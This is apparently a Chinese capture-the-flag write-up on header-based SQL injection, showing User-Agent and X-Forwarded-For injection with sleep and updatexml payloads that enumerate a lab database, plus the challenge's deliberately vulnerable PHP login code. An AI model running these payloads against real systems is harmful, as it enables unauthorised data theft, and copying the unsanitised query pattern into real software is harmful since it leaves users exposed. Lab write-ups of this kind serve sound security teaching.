目录
一.原理
二.相关知识点
二.实例分析
在我们传参时,后端为了验证或者获取客户端的一些信息,将这些信息存入到数据库但没有进行相关的处理,所以存在了注入。
切记:该操作都是在靶场中进行的,未经授权不可随意用真实网站进行相关操作
题目如下
除了本关考点告诉我们是head注入,还可以从源码的全局变量猜测出是head注入
首先可以用burpsuite进行爆破得到账号密码是admin/123456。
其次从上图②处的sql语句中单引号闭合的$uagent结合①处可以得出,注入点是USER_AGENT。分析之后就可以打开burpsuite开始抓包,如下图,发送至repeater。
'or sleep(5),1)
发现存在延时注入,从而进一步确认USER_AGENT是注入点。
'or updatexml(1,concat(0x7e,(select database()),0x7e),1),1)#
利用updatexml函数报错,显示出库名是head_error
'or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1),1)#
接着查询表名,发现有个表名是flag_head(代码最后的,1是从图二的②处有两个单引号括起来的变量,所以后面需再跟一个,1)
'or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='flag_head' limit 1,1),0x7e),1),1)#
然后查询字段名,发现有flag_h1
'or updatexml(1,concat(0x7e,(select flag_h1 from flag_head limit 0,1),0x7e),1),1)#
得到flag 结束~
题目的核心代码如下
function getip()
{
if (getenv('HTTP_CLIENT_IP'))
{
$ip = getenv('HTTP_CLIENT_IP');
}
elseif (getenv('HTTP_X_FORWARDED_FOR'))
{
$ip = getenv('HTTP_X_FORWARDED_FOR');
}
elseif (getenv('HTTP_X_FORWARDED'))
{
$ip = getenv('HTTP_X_FORWARDED');
}
elseif (getenv('HTTP_FORWARDED_FOR'))
{
$ip = getenv('HTTP_FORWARDED_FOR');
}
elseif (getenv('HTTP_FORWARDED'))
{
$ip = getenv('HTTP_FORWARDED');
}
else
{
$ip = $_SERVER['REMOTE_ADDR'];
}
return $ip;
}
$username = $_POST['username'];
$password = $_POST['password'];
$ip = getip();
$jc = $username.$password;
$sql = 'select *from user where username =\''.$username.'\' and password=\''.$password.'\'';
if(preg_match('/.*\'.*/',$jc)!== 0){die('为了网站安全性,禁止输入某些特定符号');}
mysqli_select_db($conn,'****');//不想告诉你库名
$result = mysqli_query($conn,$sql);
$row = mysqli_fetch_array($result);
$uname = $row['username'];
$passwd = $row['password'];
if($row){
$Insql = "INSERT INTO ip (`ip`,`username`) VALUES ('$ip','$uname')";
$result1 = mysqli_query($conn,$Insql);
print_r(mysqli_error($conn));
echo '成功登录';
最上面的几个函数是获取ip的函数,然后通过'$ip'去确认注入点,但是抓包发现没有X-Forwarded-For请求头。
所以在数据包中添加X-Forwarded-For请求头,并且按照题型一的解题步骤依次进行即可得出flag